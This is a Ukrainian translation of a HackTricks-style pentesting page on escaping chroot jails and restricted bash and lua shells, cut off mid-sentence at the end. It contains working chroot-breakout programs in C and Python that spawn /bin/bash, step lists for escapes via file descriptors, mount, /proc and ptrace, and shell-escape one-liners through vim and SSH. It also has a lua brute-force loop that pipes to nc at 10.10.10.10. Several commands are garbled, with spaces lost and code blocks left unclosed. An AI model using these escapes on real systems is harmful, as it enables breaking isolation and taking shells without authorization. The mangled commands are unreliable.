Поділіться своїми хакерськими трюками, надсилайте PR доHackTricksіHackTricks Cloudрепозиторіїв на GitHub.
GTFOBins
Шукайте наhttps://gtfobins.github.io/якщо ви можете виконати будь-який виконуваний файл з властивістю "Shell"
Втечі з Chroot
З вікіпедії: Механізм chroot не призначений для захисту від умисного втручання привілейованими (root) користувачами. На більшості систем контексти chroot не стекаються належним чином, і програми, які працюють в chroot з достатніми привілеями, можуть виконати другий chroot, щоб вийти.
Зазвичай це означає, що для втечі вам потрібно бути root всередині chroot.
Інструментchw00t був створений для зловживання наступними сценаріями та втечі з chroot.
Root + CWD
Якщо ви root всередині chroot, ви можете втекти, створивши інший chroot. Це тому, що 2 chroot не можуть існувати одночасно (в Linux), тому якщо ви створите папку, а потім створите новий chroot в цій новій папці, бувши поза ним, ви тепер будете поза новим chroot і, отже, ви будете в ФС.
Це відбувається тому, що зазвичай chroot НЕ переміщує вашу робочу директорію до вказаної, тому ви можете створити chroot, але бути поза ним.
Зазвичай ви не знайдете бінарний файл chroot всередині в'язниці chroot, але ви можете скомпілювати, завантажити та виконати бінарний файл:
C: break_chroot.c
```c #include #include #include
//gcc break_chroot.c -o break_chroot
int main(void) { mkdir("chroot-dir", 0755); chroot("chroot-dir"); for(int i = 0; i < 1000; i++) { chdir(".."); } chroot("."); system("/bin/bash"); }
</details>
<details>
<summary>Python</summary>
```python
#!/usr/bin/python
import os
os.mkdir("chroot-dir")
os.chroot("chroot-dir")
for i in range(1000):
os.chdir("..")
os.chroot(".")
os.system("/bin/bash")
Це схоже на попередній випадок, але в цьому випадку зловмисник зберігає файловий дескриптор до поточного каталогу, а потім створює chroot в новій папці. Нарешті, оскільки він має доступ до цього FDпоза chroot, він отримує до нього доступ і вибирається.
</details>
### Root + Fork + UDS (Unix Domain Sockets)
<div data-gb-custom-block data-tag="hint" data-style='warning'>
FD можна передавати через Unix Domain Sockets, тому:
* Створіть дочірній процес (fork)
* Створіть UDS, щоб батько і дитина могли спілкуватися
* Запустіть chroot у дочірньому процесі в іншій папці
* У батьківському процесі створіть FD папки, яка знаходиться поза новим chroot дочірнього процесу
* Передайте цей FD дочірньому процесу, використовуючи UDS
* Дочірній процес змінює поточну директорію на цей FD, і через те, що вона знаходиться поза його chroot, він вибереться з в'язниці
</div>
###  Root + Mount
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Монтування кореневого пристрою (/) в каталог всередині chroot
* Chroot в цей каталог
Це можливо в Linux
</div>
### Root + /proc
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Монтування procfs в каталог всередині chroot (якщо ще не)
* Шукайте pid, у якого інший корінь/поточна директорія, наприклад: /proc/1/root
* Chroot в цей запис
</div>
### Root(?) + Fork
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Створіть Fork (дочірній процес) і chroot в іншу папку глибше в файловій системі та CD на неї
* З батьківського процесу перемістіть папку, де знаходиться дочірній процес, в папку перед chroot дітей
* Цей дочірній процес виявить себе поза chroot
</div>
### ptrace
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Колись користувачі могли налагоджувати власні процеси з процесу самого себе... але це більше не можливо за замовчуванням
* У будь-якому випадку, якщо це можливо, ви можете використовувати ptrace в процесі та виконати shellcode всередині нього ([див. цей приклад](linux-capabilities.md#cap\_sys\_ptrace)).
</div>
## Bash Jails
### Enumeration
Отримати інформацію про в'язницю:
```bash
echo $SHELL
echo $PATH
env
export
pwd
Зміна PATH
Перевірте, чи можете ви змінити змінну середовища PATH
echo $PATH #See the path of the executables that you can usePATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin#Try to change the pathecho/home/*#List directory
Використання vim
:setshell=/bin/sh:shell
Створення скрипту
Перевірте, чи можете ви створити виконуваний файл з вмістом /bin/bash
red/bin/bash> w wx/path #Write /bin/bash in a writable and executable path
Отримання bash з SSH
Якщо ви отримуєте доступ через ssh, ви можете скористатися цим трюком для виконання оболонки bash:
ssh-tuser@<IP>bash# Get directly an interactive shellsshuser@<IP>-t"bash --noprofile -i"sshuser@<IP>-t"() { :; }; sh -i "
Зверніть увагу, що кожного разу, коли ви виконуєте попередню однорядкову команду в різному середовищі lua, порядок функцій змінюється. Тому, якщо вам потрібно виконати певну функцію, ви можете виконати атаку методом брут-форс, завантажуючи різні середовища lua та викликаючи першу функцію бібліотеки le:
#In this scenario you could BF the victim that is generating a new lua environment#for every interaction with the following line and when you are lucky#the char function is going to be executedfor k,chr in pairs(string) doprint(chr(0x6f,0x73,0x2e,0x65,0x78)) end#This attack from a CTF can be used to try to chain the function execute from "os" library#and "char" from string library, and the use both to execute a commandfor i in seq 1000; do echo "for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end" | nc 10.10.10.10 10006 | grep -A5 "Code: char"; done
Отримати інтерактивну lua оболонку: Якщо ви знаходитесь всередині обмеженої lua оболонки, ви можете отримати нову lua оболонку (і, сподіваємося, необмежену), викликавши: